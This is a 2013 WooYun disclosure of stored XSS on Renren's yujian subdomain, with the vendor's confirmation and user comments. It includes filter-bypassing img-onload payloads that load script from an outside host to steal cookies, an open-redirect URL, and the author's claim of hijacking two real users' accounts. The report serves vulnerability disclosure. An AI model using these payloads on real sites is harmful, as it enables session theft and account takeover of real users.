当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-017809

漏洞标题：人人网分站漏洞战火燃烧至主站（利用cookies设计问题）

相关厂商：人人网

漏洞作者： zzR

提交时间：2013-01-24 17:45

修复时间：2013-03-10 17:45

公开时间：2013-03-10 17:45

漏洞类型：xss跨站脚本攻击

危害等级：高

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-01-24： 细节已通知厂商并且等待厂商处理中
2013-01-24： 厂商已经确认，细节仅向厂商公开
2013-02-03： 细节向核心白帽子及相关领域专家公开
2013-02-13： 细节向普通白帽子公开
2013-02-23： 细节向实习白帽子公开
2013-03-10： 细节向公众公开

简要描述：

木桶效应
盛水的木桶是由许多块木板箍成的，盛水量也是由这些木板共同决定的。若其中一块木板很短，则此木桶的盛水量就被短板所限制。这块短板就成了这个木桶盛水量的“限制因素”（或称“短板效应”）。若要使此木桶盛水量增加，只有换掉短板或将短板加长才成。人们把这一规律总结为“木桶原理”，或“木桶定律”，又称“短板理论”。
--摘自百度君

详细说明：

站点：

http://yujian.renren.com


此站虽说有针对用户的输入过滤，但是仍可以绕过。
多处存储跨站，可致账号被劫持

漏洞证明：

1·名称、资料、爱好处可绕过限制跨站

name.png


2·资料爱好

.png


只要访问主页即可命中
不过，这里做了一些限制，过滤器过滤 script /onerror 等关键字，并且有字符数200的限制！
于是构造

IE
<img src="http://t.cn/h5UEoS" onload="document.getElementsByTagName('script')[2].src='http://1111.com'">
chrome
<img src="http://t.cn/h5UEoS" onload="var script=document.createElement('SCRIPT');script.setAttribute('src','http://1111.com');document.getElementsByTagName('head')[0].appendChild(script);">


绕过了此黑名单过滤器
截取的cookie：

ck2.png


可见人气还是很旺呐……
由此yujian.renren.com 的域，顺利进入到renren.com的域，至此主站被沦陷。
劫持2个妹子账号：

fx.png


22.png


过年了再送个URL跳转：http://www.renren.com/pages/autoLogin-ads.jsp?mainPage=http://wooyun.org
你们是不是也意思意思-0-

修复方案：

白名单可能更好些

版权声明：转载请注明来源 zzR@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：15

确认时间：2013-01-24 18:11

厂商回复：

thx!

最新状态：

暂无

漏洞评价：

评论

  1. 2013-01-24 18:09 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    碉堡

  2. 2013-01-24 18:15 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @人人网 @zzR 有礼物么？

  3. 2013-01-24 19:14 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @风萧萧 这个可以有

  4. 2013-01-24 19:33 | 风萧萧 认证白帽子 ( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)

    @zzR 人人网欠小王子多少礼物了

  5. 2013-01-24 19:50 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @风萧萧 @人人网 我觉得人人网是不会辜负了我的一片片片片心意的~

  6. 2013-02-23 22:25 | TituX ( 路人 | Rank:19 漏洞数:3 | <script></script>)

    有诈

  7. 2013-03-10 17:52 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    小王子url跳转怎么找

  8. 2013-03-10 19:41 | zzR 认证白帽子 ( 核心白帽子 | Rank:1382 漏洞数:122 | 收wb 1：5 无限量收 [平台担保])

    @小胖胖要减肥 请教风萧萧大神！

  9. 2013-03-10 20:14 | 小胖胖要减肥 认证白帽子 ( 普通白帽子 | Rank:686 漏洞数:101 )

    @风萧萧